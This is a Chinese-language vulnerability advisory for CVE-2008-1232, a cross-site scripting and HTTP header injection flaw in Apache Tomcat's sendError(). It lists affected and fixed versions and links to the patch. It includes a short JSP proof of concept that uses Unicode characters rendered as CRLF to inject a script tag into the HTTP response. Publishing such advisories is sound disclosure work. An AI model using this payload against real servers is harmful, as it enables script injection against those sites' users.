Apache Tomcat HttpServletResponse.sendError()跨站脚本漏洞
发布日期:2008-08-01
更新日期:2008-08-04
受影响系统:Apache Group Tomcat 6.0.x
Apache Group Tomcat 5.5.x
Apache Group Tomcat 4.1.x
不受影响系统:Apache Group Tomcat 6.0.18
Apache Group Tomcat 5.5.27
Apache Group Tomcat 4.1.38
描述:
BUGTRAQ ID:
30496
CVE(CAN) ID:
CVE-2008-1232
Apache Tomcat是一个流行的开放源码的JSP应用服务器程序。
Apache Tomcat不仅在错误页面中显示了HttpServletResponse.sendError()调用的消息参数,同时也在HTTP响应的reason-phrase中使用,这就可能在HTTP头中包含非法字符。特制的消息可能导致跨站脚本攻击,向HTTP响应中注入任意内容。
<*来源:Konstantin Kolinko
链接:
http://marc.info/?l=bugtraq&m=121760341603040&w=2
http://secunia.com/advisories/31379/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<%@page contentType="text/html"%>
<%
~ // some unicode characters, that result in CRLF being printed
~ final String CRLF = "\u010D\u010A";
~ final String payload = CRLF + CRLF + "<script
type='text/javascript'>document.write('Hi, there!')</script><div
style='display:none'>";
~ final String message = "Authorization is required to access " + payload;
~ response.sendError(403, message);
%>
建议:
厂商补丁:
Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://mirror.atlanticmetro.net/apache/tomcat/tomcat-6/v6.0.18/bin/apache-tomcat-6.0.18.tar.gz浏览次数:4774
严重程度:0(网友投票)